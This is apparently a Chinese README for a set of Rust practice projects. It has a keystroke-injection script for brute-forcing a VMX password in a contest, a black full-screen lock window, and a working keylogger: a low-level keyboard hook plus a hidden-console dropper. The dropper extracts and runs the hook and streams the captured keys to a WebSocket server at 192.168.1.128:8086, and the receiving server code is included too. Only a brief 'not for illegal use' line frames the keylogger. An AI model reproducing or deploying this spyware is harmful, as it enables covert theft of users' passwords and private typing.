rust-prog

rust的几个练习小项目

Virtual Input

一个实现用来自动输入的脚本程序

修改main函数中的for循环部分，可以实现自定义自动输入

下面这个例子是用来暴力破解vmx的（2025盘古石晋级赛），规则是Pgs?d?d?d?d3j，中间是四位数字，使用for循环持续输入，效果如下：

use winapi::um::winuser::{INPUT, INPUT_KEYBOARD, KEYBDINPUT, SendInput, KEYEVENTF_KEYUP};
use std::collections::HashMap;
 
// 定义虚拟键码
const VK_A: u16 = 0x41;
const VK_B: u16 = 0x42;
const VK_C: u16 = 0x43;
const VK_D: u16 = 0x44;
const VK_E: u16 = 0x45;
const VK_F: u16 = 0x46;
const VK_G: u16 = 0x47;
const VK_H: u16 = 0x48;
const VK_I: u16 = 0x49;
const VK_J: u16 = 0x4A;
const VK_K: u16 = 0x4B;
const VK_L: u16 = 0x4C;
const VK_M: u16 = 0x4D;
const VK_N: u16 = 0x4E;
const VK_O: u16 = 0x4F;
const VK_P: u16 = 0x50;
const VK_Q: u16 = 0x51;
const VK_R: u16 = 0x52;
const VK_S: u16 = 0x53;
const VK_T: u16 = 0x54;
const VK_U: u16 = 0x55;
const VK_V: u16 = 0x56;
const VK_W: u16 = 0x57;
const VK_X: u16 = 0x58;
const VK_Y: u16 = 0x59;
const VK_Z: u16 = 0x5A;
const VK_1: u16 = 0x31;
const VK_2: u16 = 0x32;
const VK_3: u16 = 0x33;
const VK_4: u16 = 0x34;
const VK_5: u16 = 0x35;
const VK_6: u16 = 0x36;
const VK_7: u16 = 0x37;
const VK_8: u16 = 0x38;
const VK_9: u16 = 0x39;
const VK_0: u16 = 0x30;
const VK_SPACE: u16 = 0x20;
const VK_RETURN: u16 = 0x0D;
const VK_TAB: u16 = 0x09;
const VK_SHIFT: u16 = 0x10;
const VK_BACK: u16 = 0x08;
const VK_CAPITAL: u16 = 0x14;
 
// 定义按下键的函数
fn press_key(vk: u16) {
    let mut input = INPUT {
        type_: INPUT_KEYBOARD,
        u: unsafe { std::mem::zeroed() },
    };
 
    unsafe {
        *input.u.ki_mut() = KEYBDINPUT {
            wVk: vk,
            wScan: 0,
            dwFlags: 0,
            time: 0,
            dwExtraInfo: 0usize,
        };
        SendInput(1, &mut input, std::mem::size_of::<INPUT>() as i32);
    }
}
 
// 定义释放键的函数
fn release_key(vk: u16) {
    let mut input = INPUT {
        type_: INPUT_KEYBOARD,
        u: unsafe { std::mem::zeroed() },
    };
 
    unsafe {
        *input.u.ki_mut() = KEYBDINPUT {
            wVk: vk,
            wScan: 0,
            dwFlags: KEYEVENTF_KEYUP,
            time: 0,
            dwExtraInfo: 0usize,
        };
        SendInput(1, &mut input, std::mem::size_of::<INPUT>() as i32);
    }
}
 
// 定义按下并释放按键的函数
fn send_key(vk: u16) {
    press_key(vk);
    release_key(vk);
}
 
// 定义发送按键序列的函数
fn send_keys(sequence: &str) {
    // 字符到虚拟键码的映射表
    let mut key_map = HashMap::new();
    key_map.insert('a', VK_A);
    key_map.insert('b', VK_B);
    key_map.insert('c', VK_C);
    key_map.insert('d', VK_D);
    key_map.insert('e', VK_E);
    key_map.insert('f', VK_F);
    key_map.insert('g', VK_G);
    key_map.insert('h', VK_H);
    key_map.insert('i', VK_I);
    key_map.insert('j', VK_J);
    key_map.insert('k', VK_K);
    key_map.insert('l', VK_L);
    key_map.insert('m', VK_M);
    key_map.insert('n', VK_N);
    key_map.insert('o', VK_O);
    key_map.insert('p', VK_P);
    key_map.insert('q', VK_Q);
    key_map.insert('r', VK_R);
    key_map.insert('s', VK_S);
    key_map.insert('t', VK_T);
    key_map.insert('u', VK_U);
    key_map.insert('v', VK_V);
    key_map.insert('w', VK_W);
    key_map.insert('x', VK_X);
    key_map.insert('y', VK_Y);
    key_map.insert('z', VK_Z);
    key_map.insert('1', VK_1);
    key_map.insert('2', VK_2);
    key_map.insert('3', VK_3);
    key_map.insert('4', VK_4);
    key_map.insert('5', VK_5);
    key_map.insert('6', VK_6);
    key_map.insert('7', VK_7);
    key_map.insert('8', VK_8);
    key_map.insert('9', VK_9);
    key_map.insert('0', VK_0);
    key_map.insert(' ', VK_SPACE);
    key_map.insert('\n', VK_RETURN);
    key_map.insert('\t', VK_TAB);
    key_map.insert('\r', VK_RETURN);
    key_map.insert('A', VK_SHIFT | VK_A);
    key_map.insert('B', VK_SHIFT | VK_B);
    key_map.insert('C', VK_SHIFT | VK_C);
    key_map.insert('D', VK_SHIFT | VK_D);
    key_map.insert('E', VK_SHIFT | VK_E);
    key_map.insert('F', VK_SHIFT | VK_F);
    key_map.insert('G', VK_SHIFT | VK_G);
    key_map.insert('H', VK_SHIFT | VK_H);
    key_map.insert('I', VK_SHIFT | VK_I);
    key_map.insert('J', VK_SHIFT | VK_J);
    key_map.insert('K', VK_SHIFT | VK_K);
    key_map.insert('L', VK_SHIFT | VK_L);
    key_map.insert('M', VK_SHIFT | VK_M);
    key_map.insert('N', VK_SHIFT | VK_N);
    key_map.insert('O', VK_SHIFT | VK_O);
    key_map.insert('P', VK_SHIFT | VK_P);
    key_map.insert('Q', VK_SHIFT | VK_Q);
    key_map.insert('R', VK_SHIFT | VK_R);
    key_map.insert('S', VK_SHIFT | VK_S);
    key_map.insert('T', VK_SHIFT | VK_T);
    key_map.insert('U', VK_SHIFT | VK_U);
    key_map.insert('V', VK_SHIFT | VK_V);
    key_map.insert('W', VK_SHIFT | VK_W);
    key_map.insert('X', VK_SHIFT | VK_X);
    key_map.insert('Y', VK_SHIFT | VK_Y);
    key_map.insert('Z', VK_SHIFT | VK_Z);
    key_map.insert('\x08', VK_BACK);
 
    for ch in sequence.chars() {
        if let Some(&vk) = key_map.get(&ch) {
            send_key(vk);
        }
    }

}
 
fn main() {
    // std::thread::sleep(std::time::Duration::from_millis(1000));
    // println!("5");
    // std::thread::sleep(std::time::Duration::from_millis(1000));
    // println!("4");
    // std::thread::sleep(std::time::Duration::from_millis(1000));
    println!("3");
    std::thread::sleep(std::time::Duration::from_millis(1000));
    println!("2");
    std::thread::sleep(std::time::Duration::from_millis(1000));
    println!("1");
    std::thread::sleep(std::time::Duration::from_millis(1000));
    println!("GO!");
    for i in (9530..9540).rev() {
        // 生成字符串，格式为 PgsXXXXd3j
        send_key(VK_CAPITAL);
        send_keys("p");
        send_key(VK_CAPITAL);

        let sequence = format!("gs{:04}d3j", i);
        println!("sequence: {}", sequence);
        send_keys(&sequence);

        // 发送回车符 '\n'
        send_keys("\n");
        send_keys("\n");

        // 删除当前行内容，这里假设每行长度为 11 个字符（前缀 3 + 数字 4 + 后缀 4）
        
        std::thread::sleep(std::time::Duration::from_millis(200));
        for _ in 0..11 {
            send_key(VK_BACK);
        }
    }

}

偷你键盘！

本项目禁止用于非法目的，仅用于交流学习！

键盘钩子(stealKeyboard.exe)

Cargo.toml

[package]
name = "stealKeyboard"
version = "0.1.0"
edition = "2021"

[dependencies]
winapi = { version = "0.3", features = ["minwindef", "winuser"] }
tokio = { version = "1", features = ["full"] }
tokio-tungstenite = "0.17"
futures-util = "0.3"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
lazy_static = "1.4.0"
os_pipe = "0.9.0"
url = "2"
once_cell = "1.8.0"
crossbeam = "0.8"

main.rs

use std::mem;
use std::ptr::null_mut;
use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};
use winapi::um::winuser::{
    CallNextHookEx, GetKeyboardState, SetWindowsHookExA, ToAscii, UnhookWindowsHookEx, HC_ACTION,
    KBDLLHOOKSTRUCT, MSG, WH_KEYBOARD_LL,
};

unsafe extern "system" fn hook_proc(n_code: i32, w_param: WPARAM, l_param: LPARAM) -> LRESULT {
    if n_code == HC_ACTION {
        let kb_hook = mem::transmute::<LPARAM, *const KBDLLHOOKSTRUCT>(l_param);
        let vk_code = (*kb_hook).vkCode;
        let flags = (*kb_hook).flags;

        let mut keyboard_state = [0u8; 256];
        GetKeyboardState(keyboard_state.as_mut_ptr());

        let mut char_buffer = [0u16; 2];
        let result = ToAscii(
            vk_code,
            (*kb_hook).scanCode,
            keyboard_state.as_ptr(),
            char_buffer.as_mut_ptr(),
            0,
        );

        if result == 1 { // printable key
            let ascii_char = char_buffer[0] as u8 as char;
            if flags == 0 {
                println!("{}", ascii_char);
            }
        } 
        else { // non-printable key
            if flags == 0 {
                match vk_code {
                    _ => println!("{}", vk_code),
                }
            }
        }
    }
    CallNextHookEx(null_mut(), n_code, w_param, l_param)
}

#[tokio::main]
async fn main() {

    let hook = unsafe { SetWindowsHookExA(WH_KEYBOARD_LL, Some(hook_proc), null_mut(), 0) };
    if hook.is_null() {
        panic!("Failed to install hook");
    }

    let mut msg: MSG = unsafe { mem::zeroed() };
    while unsafe { winapi::um::winuser::GetMessageA(&mut msg, null_mut(), 0, 0) } != 0 {
        unsafe {
            winapi::um::winuser::TranslateMessage(&mut msg);
            winapi::um::winuser::DispatchMessageA(&mut msg);
        }
    }

    unsafe { UnhookWindowsHookEx(hook) };
}

实时监控(listenTo.exe)

Cargo.toml

[package]
name = "listenTo"
version = "0.1.0"
edition = "2021"

[dependencies]
rust-embed = "8.7.0"
tokio = { version = "1", features = ["full"] }
tokio-tungstenite = "0.23.1"
url = "2"
serde_json = "1.0"
futures-util = "0.3"
hide_console = "0.2.1"
winapi = { version = "0.3", features = ["wincon", "shellapi", "winuser", "winbase"] }

main.rs

#![windows_subsystem = "windows"]
use rust_embed::Embed;
use winapi::um::winbase::CREATE_NO_WINDOW;
use std::fs::File;
use std::io::{self, BufRead, Write};
use std::os::windows::process::CommandExt;
use std::process::{Command, Stdio};
use tokio_tungstenite::{connect_async, tungstenite::protocol::Message};
use url::Url;
use futures_util::SinkExt;
use serde_json::json;

#[derive(Embed)]
#[folder = "src\\resource"]
struct Asset;

#[tokio::main]
async fn main() -> io::Result<()> {
    // 获取嵌入的 .exe 文件
    let exe_file = Asset::get("stealKeyboard.exe").expect("");
    let exe_data = exe_file.data.as_ref();

    // 创建一个临时文件路径
    let temp_dir = std::env::temp_dir();
    let temp_path = temp_dir.join("stealKeyboard.exe");

    // 将嵌入的 .exe 文件内容写入临时文件
    {
        let mut file = File::create(&temp_path)?;
        file.write_all(exe_data)?;
    } // 文件句柄在这里自动关闭

    // 确保文件句柄已经关闭
    tokio::time::sleep(tokio::time::Duration::from_millis(100)).await;

    // 调用临时文件并监听标准输出
    let mut child = Command::new(&temp_path)
        .stdout(Stdio::piped())
        .creation_flags(CREATE_NO_WINDOW)
        .spawn()
        .expect("");

    let stdout = child.stdout.take().expect("");
    let reader = io::BufReader::new(stdout);

    // 连接到 WebSocket 服务器
    let url = Url::parse("ws://192.168.1.128:8086").expect("");
    let (mut ws_stream, _) = connect_async(url.as_str()).await.expect("");

    // 实时打印标准输出并发送到 WebSocket 服务器  
    for line in reader.lines() {
        if let Ok(line) = line {
            // println!("{}", line);
            let json_msg = json!({"type": "st", "payload": line});
            if let Err(e) = ws_stream.send(Message::Text(json_msg.to_string())).await {
                // eprintln!("Failed to send message to WebSocket server: {:?}", e);
                break;
            }
        }
    }

    // 等待子进程结束
    let output = child.wait_with_output()?;
    if output.status.success() {
        // println!("Embedded .exe executed successfully");
    } else {
        // eprintln!("Embedded .exe execution failed");
    }

    // 清理临时文件
    match std::fs::remove_file(&temp_path) {
        Ok(_) => println!(""),
        Err(e) => eprintln!(""),
    }

    Ok(())
}

在main.rs同级目录下建一个resource文件夹，把刚才编译好的stealKeyboard.exe放进去，实现原理是运行listenTo.exe这个程序时，程序会释放stealkeyboard.exe这个程序，然后运行并监听其标准输出，然后通过连接了一个WebSocket服务器来发送键盘监控

因为键盘挂钩子是一个回调函数，发送websocket消息是一个异步函数，所以本来想直接写一个程序来实现，但是不会处理异步QAQ，所以就分成了两个程序，一个用来挂键盘钩子，一个用来发送实时监听

一个简单的websocket服务器

Cargo.toml

[package]
name = "greeting"
version = "0.1.0"
edition = "2021"

[dependencies]
tokio = { version = "1", features = ["full"] }
tokio-tungstenite = "0.17"
futures-util = "0.3"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
# rusqlite = { version = "0.26.0", features = ["bundled"] }

main.rs

use futures_util::{SinkExt, StreamExt};
use tokio::net::TcpListener;
use tokio_tungstenite::tungstenite::Message;
// use rusqlite::Connection;

#[tokio::main]
async fn main() {

    // 绑定到本地地址和端口，创建一个TCP监听器
    let listener = TcpListener::bind("0.0.0.0:8086")
        .await
        .expect("无法绑定地址");
    println!("正在监听: 0.0.0.0:8086");

    // 循环接受新的连接
    while let Ok((stream, _)) = listener.accept().await {
        // 对于每一个连接，创建一个新的任务来处理它
        tokio::spawn(async move {
            let addr = stream.peer_addr().unwrap();
            println!("新的WebSocket连接: {}", addr);

            // 将TCP流转换为WebSocket流
            let ws_stream = match tokio_tungstenite::accept_async(stream).await {
                Ok(ws) => ws,
                Err(e) => {
                    eprintln!("无法接受WebSocket连接: {:?} 从: {}", e, addr);
                    return;
                }
            };
            // 分离WebSocket流的写入和读取部分
            let (mut write, mut read) = ws_stream.split();

            // 循环读取消息
            while let Some(Ok(msg)) = read.next().await {
                match msg {
                    // 处理文本消息
                    Message::Text(text) => {
                        // println!("接收到文本消息: {}", text);

                        // 解构消息内容的json格式
                        let json_data: serde_json::Value = serde_json::from_str(&text).unwrap();
                        
////////////////////////////////////////    以下是消息处理部分，根据实际需求编写即可      //////////////////////////////////////
                        // println!("来自{} pressed: {}", addr, json_data["payload"]);
                        println!("{}", json_data["payload"]); // 这里是承接着上一个挂键盘钩子写的，可以用来查看json格式消息的内容

                        // 处理json消息 // 这里写了一个示例，用来处理认证消息判断一个token是否正确，然后返回给客户端一个响应，可以用来让服务端判断是否要与这个客户端进行连接
                        match json_data["type"].as_str().unwrap() { // 此处客户端发送的消息格式应该是{"type":"auth", "token":"abcde"}
                            "auth" => {
                                if json_data["token"].as_str().unwrap()
                                    == "abcde"
                                {
                                    // 定义一个响应消息
                                    let response = serde_json::json!({
                                        "type": "server",
                                        "status": "success",
                                        "message": "auth"
                                    });

                                    // 发送回一个响应
                                    if let Err(e) = write.send(Message::Text(response.to_string())).await {
                                        println!("来自连接 {}: 发送消息时出错: {}", addr, e);
                                        // 如果发送消息失败，中断当前连接的处理
                                        break;
                                    }
                                }
                            }
                            _ => {}
                        }

                    }
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
                    // 处理二进制消息
                    Message::Binary(_) => println!("来自连接 {}: 接收到二进制消息", addr),
                    // 处理关闭连接消息
                    Message::Close(_) => {
                        println!("来自连接 {}: 连接已关闭", addr);
                        // 中断当前连接的处理
                        break;
                    }
                    // 忽略其他类型的消息
                    _ => (),
                }
            }
        });
    }
}

fltk GUI库的使用

[package]
name = "fltk"
version = "0.1.0"
edition = "2021"

[dependencies]
fltk = "1.2"
winit = "0.29"

如果Cargo.toml这样写的话，编译过程中需要环境变量有cmake，如果安装了vs2022的话，直接用everything搜一下cmake，然后配置到环境变量里就行了，然后在cmd中输一下cmake -version，有输出就可以了

如果使用的是vscode来编译rust cargo build，那么看一下终端是不是用的powershell，如果是，则换成cmd，cmake貌似在powershell里没法运行，然后编译即可，时间可能有点长

main.rs示例(创建一个完全覆盖所有显示器的黑色窗口，我用来写了一个锁屏，搭配uiaccess食用)

#![windows_subsystem = "windows"]

use fltk::{app, enums::Color, prelude::*, window::Window};
use winit::dpi::PhysicalSize;
use winit::monitor::MonitorHandle;
use winit::event_loop::EventLoop;

fn main() {
    // 初始化 winit 事件循环
    let event_loop = EventLoop::new().expect("Failed to create event loop");

    // 获取所有显示器
    let monitors: Vec<MonitorHandle> = event_loop.available_monitors().collect();

    // 计算所有显示器的总宽度和高度
    let mut total_width = 0;
    let mut total_height = 0;

    for monitor in monitors {
        let size: PhysicalSize<u32> = monitor.size();
        total_width += size.width;
        total_height = total_height.max(size.height); // 取最大高度
    }
    total_height += 500;

    // 初始化 FLTK 应用程序
    let app = app::App::default();
    let mut win = Window::default()
        .with_size(0,0)
        .with_label("")
        .with_pos(0, -100); // 设置窗口位置为屏幕左上角-100

    // 显示窗口
    win.end();
    win.show();
    win.un_maximize();
    
    win.set_on_top();
    win.set_border(true); // 移除窗口边框
    win.set_color(Color::from_rgb(0, 0, 0)); // 设置窗口背景颜色
    
    std::thread::sleep(std::time::Duration::from_millis(100)); // 等待一小段时间
    win.maximize();
    win.set_size(total_width as i32, total_height as i32);
    win.set_pos(0, -100);
    win.flush();

    app::redraw(); // 强制重绘
    app.run().unwrap();
}